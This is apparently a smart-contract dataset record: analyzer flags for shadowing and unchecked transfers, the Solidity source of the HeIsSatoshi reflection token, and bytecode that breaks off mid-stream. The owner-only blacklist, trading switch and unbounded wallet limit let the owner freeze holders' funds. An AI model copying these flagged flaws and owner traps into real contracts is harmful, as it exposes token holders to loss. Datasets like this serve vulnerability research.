51561062e57fe5b600080828481151561067657fe5b049493505050505600a165627a7a7230582065ce398e4c6005df3db32a2f328093ea563e940b4c29e75af0ac54133a0c77dd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,160 |
0x526a9dd8c610aad36b335094da16df31584c0469
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HeIsSatoshi is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "HeIsSatoshi";
string private constant _symbol = "HITS";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 21000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x6A2F467258A7EB21E42A994C1e900013243729A4);
address payable private _marketingAddress = payable(0x6A2F467258A7EB21E42A994C1e900013243729A4);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9;
uint256 public _maxWalletSize = 210000 * 10**9;
uint256 public _swapTokensAtAmount = 210 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 100000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612ebb565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612f8c565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fe4565b61087b565b604051610264919061303f565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f91906130b9565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba91906130e3565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e591906130fe565b6108ce565b6040516102f7919061303f565b60405180910390f35b34801561030c57600080fd5b506103156109a7565b60405161032291906130e3565b60405180910390f35b34801561033757600080fd5b506103406109ad565b60405161034d919061316d565b60405180910390f35b34801561036257600080fd5b5061036b6109b6565b6040516103789190613197565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a391906131b2565b6109dc565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061320b565b610acc565b005b3480156103df57600080fd5b506103e8610b7e565b005b3480156103f657600080fd5b50610411600480360381019061040c91906131b2565b610c4f565b60405161041e91906130e3565b60405180910390f35b34801561043357600080fd5b5061043c610ca0565b005b34801561044a57600080fd5b5061046560048036038101906104609190613238565b610df3565b005b34801561047357600080fd5b5061047c610ea1565b60405161048991906130e3565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b491906131b2565b610ea7565b6040516104c691906130e3565b60405180910390f35b3480156104db57600080fd5b506104e4610ebf565b6040516104f19190613197565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c919061320b565b610ee8565b005b34801561052f57600080fd5b50610538610f9a565b60405161054591906130e3565b60405180910390f35b34801561055a57600080fd5b50610563610fa0565b6040516105709190612f8c565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b9190613238565b610fdd565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613265565b61107c565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612fe4565b611277565b6040516105ff919061303f565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a91906131b2565b611295565b60405161063c919061303f565b60405180910390f35b34801561065157600080fd5b5061065a6112b5565b005b34801561066857600080fd5b50610683600480360381019061067e9190613327565b61138e565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613387565b6114c8565b6040516106b991906130e3565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e49190613238565b61154f565b005b3480156106f757600080fd5b50610712600480360381019061070d91906131b2565b6115ee565b005b61071c6117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a090613413565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd613433565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613491565b9150506107ac565b5050565b60606040518060400160405280600b81526020017f486549735361746f736869000000000000000000000000000000000000000000815250905090565b600061088f6108886117b0565b84846117b8565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000664a9b6384488000905090565b60006108db848484611983565b61099c846108e76117b0565b6109978560405180606001604052806028815260200161411a60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094d6117b0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122089092919063ffffffff16565b6117b8565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e46117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6890613413565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad46117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5890613413565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bbf6117b0565b73ffffffffffffffffffffffffffffffffffffffff161480610c355750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1d6117b0565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3e57600080fd5b6000479050610c4c8161226c565b50565b6000610c99600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d8565b9050919050565b610ca86117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90613413565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfb6117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7f90613413565b60405180910390fd5b655af3107a4000811115610e9e57806016819055505b50565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ef06117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7490613413565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4849545300000000000000000000000000000000000000000000000000000000815250905090565b610fe56117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990613413565b60405180910390fd5b8060188190555050565b6110846117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611111576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110890613413565b60405180910390fd5b60008410158015611123575060048411155b611162576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111599061354c565b60405180910390fd5b60008210158015611174575060148211155b6111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111aa906135de565b60405180910390fd5b600083101580156111c5575060048311155b611204576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fb90613670565b60405180910390fd5b60008110158015611216575060148111155b611255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124c90613702565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061128b6112846117b0565b8484611983565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112f66117b0565b73ffffffffffffffffffffffffffffffffffffffff16148061136c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113546117b0565b73ffffffffffffffffffffffffffffffffffffffff16145b61137557600080fd5b600061138030610c4f565b905061138b81612346565b50565b6113966117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611423576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141a90613413565b60405180910390fd5b60005b838390508110156114c257816005600086868581811061144957611448613433565b5b905060200201602081019061145e91906131b2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806114ba90613491565b915050611426565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115576117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115db90613413565b60405180910390fd5b8060178190555050565b6115f66117b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167a90613413565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ea90613794565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611828576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181f90613826565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188f906138b8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197691906130e3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea9061394a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5a906139dc565b60405180910390fd5b60008111611aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9d90613a6e565b60405180910390fd5b611aae610ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b1c5750611aec610ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0757601560149054906101000a900460ff16611bab57611b3d610ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611baa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba190613b00565b60405180910390fd5b5b601654811115611bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be790613b6c565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611c945750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cca90613bfe565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d805760175481611d3584610c4f565b611d3f9190613c1e565b10611d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7690613ce6565b60405180910390fd5b5b6000611d8b30610c4f565b9050600060185482101590506016548210611da65760165491505b808015611dbe575060158054906101000a900460ff16155b8015611e185750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e305750601560169054906101000a900460ff165b8015611e865750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611edc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f0457611eea82612346565b60004790506000811115611f0257611f014761226c565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fae5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806120615750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120605750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561206f57600090506121f6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561211a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561213257600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121dd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121f557600a54600c81905550600b54600d819055505b5b612202848484846125cc565b50505050565b6000838311158290612250576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122479190612f8c565b60405180910390fd5b506000838561225f9190613d06565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156122d4573d6000803e3d6000fd5b5050565b600060065482111561231f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231690613dac565b60405180910390fd5b60006123296125f9565b905061233e818461262490919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561237d5761237c612d1a565b5b6040519080825280602002602001820160405280156123ab